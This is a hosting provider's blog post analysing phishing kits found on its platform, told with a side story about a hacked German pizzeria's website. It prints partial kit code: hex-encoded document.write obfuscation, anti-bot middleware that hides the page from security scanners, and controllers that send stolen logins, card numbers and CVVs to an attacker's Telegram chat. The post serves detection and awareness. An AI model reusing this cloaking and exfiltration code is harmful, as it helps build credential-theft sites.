How phishing scampages work and what they have to do with pizza

How phishing scampages work and what they have to do with pizza

29 Aug 2023
By Mike Korostelev

There are a lot of dirty things you can do on the internet. There are disinformation campaigns, pirated movies, scams and cyber bullies. There is all you can eat pornography, spyware and even dubious dark web assassins.

As a hosting provider, we do what is probably the dirtiest internet thing of them all - we run code sent to us by total strangers.

At, 99.9% of our users are awesome curious engineers, talented developers and innovative entrepreneurs. Unfortunately a few of you (and you know who you are) (and we know who you are) are not so awesome. In this post we showcase some of the common scams that those not-so-awesome few have tried to get away with.

The serverless nature of the platform naturally limits (does not eliminate) the capacity for many types of malicious behavior like vulnerability scanning, crypto mining, brute force, etc. Unfortunately executing phishing attacks is still very much possible.


We've all been trained to come up with Str0n6P@ssw0rds123!. Encrypted with modern super-sophisticated algorithms, even the most powerful machines would take many decades to crack these. But, all that doesn't matter if you use that same strong password for both your Netflix and your bank account, and then give that password away.

For most phishing scams, traffic usually comes from email clients. Users are prompted to log in to view a file that was shared with them, reset a password or confirm some info. The URL will contain some kind of convincing subdomain or a bunch of encoded garbage query strings to make it look legit.


We've also found that most phishing scams are not perpetrated by lone wolf hackers but what seem to be organized groups, akin to the now famous YouTube call center.

There are different implementations but the shared anatomy is:

  • Legit looking domain or path that you wouldn't look at twice
  • Legit looking frontend that looks just like the real thing
  • Some mechanism to hide code from security scan
  • Backend to anonymously exfiltrate captured data to the bad guys via:
    • Email (most often
    • Telegram
    • Discord
    • MongoAtlas

Case Study - "Microsoft Scam"

By far the most common and probably the most crudely implemented phishing scam we see is an attack on Microsoft accounts. Just a simple login page.

The Microsoft login page is the most common scam we've seen hosted on

The code

This one is a simple hello-world express.js site serving two static files index.html and login2.html. The files each contain a single line of code.

<!-- public/index.html -->

<script type='text/javascript'> str='x3Cx21x44x4Fx43x54x59x.....2Fx68x74x6Dx6Cx3E'; document.write(unescape(str.replace(/x/g,'%'))); </script>
<!-- public/login2.html -->

<script type='text/javascript'> str='x3Cx21x44x4Fx43x54x59x.....2Fx68x74x6Dx6Cx3E'; document.write(unescape(str.replace(/x/g,'%'))); </script>

This code obfuscated, encoded to hide its contents. Most crawler bots do not execute javascript. The contents would also be hidden from a host like that is doing basic level static analysis during deployment. When loaded in a victim's browser, document.write renders those malicious jQuery $'s.

Obfuscated code is rendered in browser with `document.write`

The login takes place in a sequence of prompts, just like the real thing. The username is captured in index.html, the user is then redirected to login2.html which prompts the user for their password. On submit, the credential pair is ajax posted to a PHP url.

In all instances of this scam, the target url pointed to a .php file on what looked to be totally legitimate host domains who had become victims of a remote file inclusion (RFI) attack. Older misconfigured phpMyAdmin installations were vulnerable to XSS attacks, SQL injection, and in many cases had their default password left on. These vulnerable servers tend to be hosting legitimate small business websites like dental practices, restaurants or other service providers.

In this instance finish.php was likely injected into the host maliciously by exploiting one of those PHP vulnerabilities. These .php files simply use php's mail function to then forward the credentials to some email set up by the attackers.

Case Study - "Adobe/Netflix Scam"

Another very common scam we see targets your Netflix account.

Another common scam targets Adobe, Netflix, and others with similar backend code

While Adobe and Netfix have been most common as of late, we've seen almost identical backend code for various frontends targeting America First Credit Union, CapitalOne, DHL, Netflix and others.

The code

Implementation here is a more sophisticated full stack express site built using MVC pattern and a nicely organized file structure.

Phishing site file structure

Mimicking the authentic login sequence, the frontend is separated into multiple .edge files rendered with the express-edge view engine. The CSS and HTML have been ripped off from the real login page:

The frontend is a clone that uses html ripped off from the original site

All the links to the Privacy Policy, Help Center and TOS still work and point to the real targets. The big difference is the form post on the scam page points to /auth/login.

What happens to your credentials


First lets look at app.js before looking at the /auth/login controller:

The sites implements an anti-bot middleware

Suspiciously authored by a git user with the name Disney Plus, there is something interesting in the app.js file.

// Bot Detection Middlewares

There are good guys crawling the web looking for malicious sites like this. The scammers don't want to be found. While this attacker is not masking their code to subvert static analysis, they are are trying to protect the scam site against dynamic scans. For example if Google is scanning links in the email body in your GMail inbox.

// antibot.js

const { getClientIp } = require('request-ip');
const { botUAList } = require('../config/botUA');
const { botIPList, botIPRangeList, botIPCIDRRangeList, botIPWildcardRangeList } = require('../config/botIP');
const { botRefList } = require('../config//botRef');


module.exports = (req, res, next) => {
    const clientUA = req.headers['user-agent'] || req.get('user-agent');
    const clientIP = getClientIp(req);
    const clientRef = req.headers.referer || req.headers.origin;

    if (isBotUA(clientUA) || isBotIP(clientIP) || isBotRef(clientRef)) {
        return res.status(404).type('html').end(`<title>404 Not Found</title><div><h2>Not Found</h2><p>The requested URL ${req.url} was not found on this server.</p></div>`);


The files ../config/botUA, ../config/botRef, and ../config/botIP contain huge lists of good guys'

  • ip ranges
  • user agent regex strings like google, duckduckbot, antivirus
  • referrer regex strings like ^security, ^safebrowsing, ^malwarebytes

The middleware routes any matching requests to an innocuous 404 Not Found page.


When the request is determined to be not a bot it is handled by the loginPost controller:

const { sendMessageFor } = require('simple-telegram-message');
const { botToken, chatId } = require('../config/settings');


exports.loginPost = async (req, res) => {
    const { userId, password } = req.body;

    const { ipAddress, Coordinates, City, Region, postalCode, Country, Time, provider, ASN } = iPDetails;

    const userAgent = req.headers['user-agent'];
    const systemLang = req.headers['accept-language'];

    const message =
        `👾 SHAKESWORDE | NETFL1X | USER_${ipAddress}\n\n` +
        `👤 LOGIN INFO\n` +
        `EMAIL/PHONE      : ${userId}\n` +
        `PASSWORD         : ${password}\n\n` +
        `🌍 GEO-IP INFO\n` +
        `IP ADDRESS       : ${ipAddress}\n` +
        `COORDINATES      : ${Coordinates}\n` +
        `CITY             : ${City}\n` +
        `STATE            : ${Region}\n` +
        `ZIP CODE         : ${postalCode}\n` +
        `COUNTRY          : ${Country}\n` +
        `TIME             : ${Time}\n` +
        `ISP              : ${provider} ${ASN}\n\n` +
        `💻 SYSTEM INFO\n` +
        `USER AGENT       : ${userAgent}\n` +
        `SYSTEM LANGUAGE  : ${systemLang}\n\n` +
        `💬 Telegram:\n` +
        `🌐 Website: Coming soon!!\n`;

    const sendMessage = sendMessageFor(botToken, chatId);


The user data is formatted nicely and decorated with pretty icons before it is sent as a message to a Telegram chat set up by the attacker.

This route then redirects to /auth/login/2 and the user is taken to the billing page where their credit card info will be captured:


exports.loginPost2 = async (req, res) => {
    const { cardNum, expDate, cvv } = req.body;
    const clientIP = getClientIp(req);

    function getIPDetails() {
        return ipInfo
            .then((data) => {
                var data = data;
                return data;
            .catch((err) => {

    const iPDetails = await getIPDetails();
    const { ipAddress, Time } = iPDetails;

    const message =
        `👾 SHAKESWORDE | NETFL1X | USER_${ipAddress}\n\n` +
        `👤 BILLING INFO\n` +
        `CARD NUMBER      : ${cardNum}\n` +
        `EXPIRY DATE      : ${expDate}\n` +
        `CVV              : ${cvv}\n\n` +
        `🌍 GEO-IP INFO\n` +
        `IP ADDRESS       : ${ipAddress}\n` +
        `TIME             : ${Time}\n\n` +
        `💬 Telegram:\n` +
        `🌐 Website: Coming soon!!\n`;

    const sendMessage = sendMessageFor(botToken, chatId);


exports.login3 = (req, res) => {


That is about the end of the story, after the attacker gets these messages, they win.


Phishing sites are disposable and can be stood up quickly. An orchestrated email campaign can direct thousands of visitors to a fraudulent site within a short time. Props to the folks over at Netcraft; they're on the ball with reporting these shady sites to domain owners.

Unfortunately, in the brief interval between the scam emails being sent, detection occurring, notification of the domain owner, and subsequent takedown - Some will fall for it. Delaying detection for as long as possible is key for these scams. We've showed just two of the ways it is done.

For service providers like us, both DAST and SAST (Dynamic and Static Application Security Testing) are critical to identifying such scams before they even go live. While it is still very easy to create disposable GitHub accounts to distribute this code, most disposable accounts are obvious. Combining suspicious code detection with user traits helps us flag and triage malicious activity.

In September, GitHub is turning on MFA by default. That will help. What about Telegram and Proton? Time to step up and take action against malicious disposable accounts on your platforms.

The mystery

When browsing the code, something stood out to me. The Telegram message header:

`👾 SHAKESWORDE | NETFL1X | USER_${ipAddress}\n\n` +

What or who is SHAKESWORDE? Is it some kind of cool 1337 haxor name?

So I googled it -

00 -25% Scampages New Chase Bank Scam Page 2023 $ 200. ... Huntington Scampage (With Free Hosting and Domain) Williams Shakesworde 89 Views 3:16 Wells Fargo ...

Google's result seemed to find a site that lists some names of banks. Looks relevant..

The page from the result - as well as the root domain are down.

Maybe Wayback Machine caught it?

No luck for scampages.html but the root domain was captured in 2022:

Pizza. It now made sense that Pizza Rosa in the German countryside was once a victim of an injection attack. SHAKESWORDE or somebody exploited their server and put that content there.

I eventually found listings on GitHub under the scampage topic.

There were multiple repositories listing scampages for different targets with anti-bot features just like in the Netflix case above.

I reported these. Hopefully GitHub takes them down quickly, but unfortunately until problems with disposable accounts are mitigated, they will probably be back.

With that, not long after the grim discovery of the vicious attack on pizza - the mystery led to a dead end.

The good news

While no longer hosted at the domain, Pizzeria Rose seems to still be operational in Lauchheim, Germany. According to their excellent Google reviews, their pizza and pasta are delicious. The website button directs users to their Facebook.

An actual pizza from Pizzeria Rosa in Lauchheim, Germany

The unexpected association with pizza might be kind of funny, but it underscores a critical point: no business is immune from the reach of cyber threats. Even a small local business like Pizzeria Rose can become an unwitting participant in a larger malicious campaign. It is a reminder that that cybersecurity is not just a concern for large corporations.

If you're a business owner, or interested in learning more about how to protect yourself or your organization from cyber threats, there are some excellent resources available on vulnerabilities, attacks, and mitigation tactics:

  • Snyk Vulnerability Database - Link
  • MITRE ATT&CK Knowledge Base of Adversary Tactics - Link
  • Common Vulnerabilities and Exposures (CVE): Link
  • National Vulnerability Database (NVD): Link
  • OWASP (Open Web Application Security Project): Link
  • Exploit Database: Link
  • Have I Been Pwned: Link
  • NIST Cybersecurity Framework: Link

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